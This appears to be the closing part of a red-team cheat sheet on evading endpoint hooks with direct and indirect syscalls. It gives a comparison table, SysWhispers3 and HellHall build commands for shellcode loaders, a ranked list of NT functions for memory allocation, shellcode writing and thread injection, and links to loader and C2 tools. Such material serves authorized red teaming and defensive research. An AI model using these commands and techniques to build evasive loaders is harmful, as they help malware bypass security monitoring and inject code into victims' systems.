────────────────────────────────────────────────────────────────
Hook bypass ✅ Yes ✅ Yes
syscall location Your .exe/RWX memory ntdll.dll memory
Top of call stack Your .exe ntdll (clean)
Return address Your .exe Your .exe (partial IOC)
syscall bytes in Yes (0F 05 in your No (0F 05 only in ntdll)
your binary binary)
Detection by stack ⚠️ Easy (top = .exe) ⚠️ Partial (deeper frame)
analysis
Best paired with Halo's Gate / SW2 SilentMoonwalk + HWBP
Complexity Low Medium
Quick Command Reference
# SysWhispers3 — Indirect jumper (MSVC x64)
python syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx --output sc --arch x64 --compiler msvc --method jumper
# SysWhispers3 — Randomized jumper (random ntdll gadget each call)
python syswhispers.py --preset common --output sc_rand --method jumper_randomized
# SysWhispers3 — Egg hunter (no syscall bytes on disk)
python syswhispers.py --preset common --output sc_egg --method egg_hunter
# SysWhispers3 — MinGW (compile from Linux)
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc_mingw --compiler mingw --method jumper
# SysWhispers3 — int2eh (old x86 style, for WOW64 bypass)
python syswhispers.py --preset common --output sc_x86 --arch x86 --int2eh
# HellHall build (MSVC)
ml64.exe /c AsmHell.asm
cl.exe /c main.c hellhall.c
link.exe /OUT:loader.exe main.obj hellhall.obj AsmHell.obj
# MinGW cross-compile
x86_64-w64-mingw32-gcc loader.c sc.c sc-asm.x64.s -o loader.exe -masm=intel -lntdll
Key NT Function Reference (Indirect Syscall Priority)
Function Purpose Priority for Indirect?
──────────────────────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory Allocate memory ★★★★★ Always use
NtWriteVirtualMemory Write shellcode to memory ★★★★★ Always use
NtProtectVirtualMemory Change RW → RX ★★★★★ Always use
NtCreateThreadEx Create execution thread ★★★★★ Always use
NtOpenProcess Get process handle ★★★★☆ Use for injection
NtCreateSection Create section (alternative) ★★★★☆ Use instead of Alloc
NtMapViewOfSection Map section into process ★★★★☆ Use with CreateSection
NtQueueApcThread APC injection ★★★☆☆ Use for APC
NtSuspendThread Suspend for thread hijack ★★★☆☆ Use for hijacking
NtSetContextThread Set registers (thread hijack) ★★★☆☆ Use for hijacking
NtWaitForSingleObject Wait for thread exit ★★☆☆☆ Optional
NtClose Close handle ★☆☆☆☆ Low risk without
Tool GitHub Quick Reference
HellHall : github.com/Maldev-Academy/HellHall
SysWhispers3 : github.com/klezVirus/SysWhispers3
SilentMoonwalk : github.com/klezVirus/SilentMoonwalk
AtomLdr : github.com/NUL0x4C/AtomLdr
MaldevAcademyLdr.1 : github.com/Maldev-Academy/MaldevAcademyLdr.1
HookChain : github.com/helviojunior/hookchain
DInvoke : github.com/TheWover/DInvoke
DarkWidow : github.com/reveng007/DarkWidow
VulcanRaven : github.com/WithSecureLabs/VulcanRaven
SysWhispers4 : github.com/joasasantos/SysWhispers4
NimlineWhispers3 : github.com/klezVirus/NimlineWhispers3
Havoc C2 : github.com/HavocFramework/Havoc
Note: All techniques described in this document are for authorized red team operations, penetration testing, and security research only. Unauthorized use against systems without explicit permission is illegal.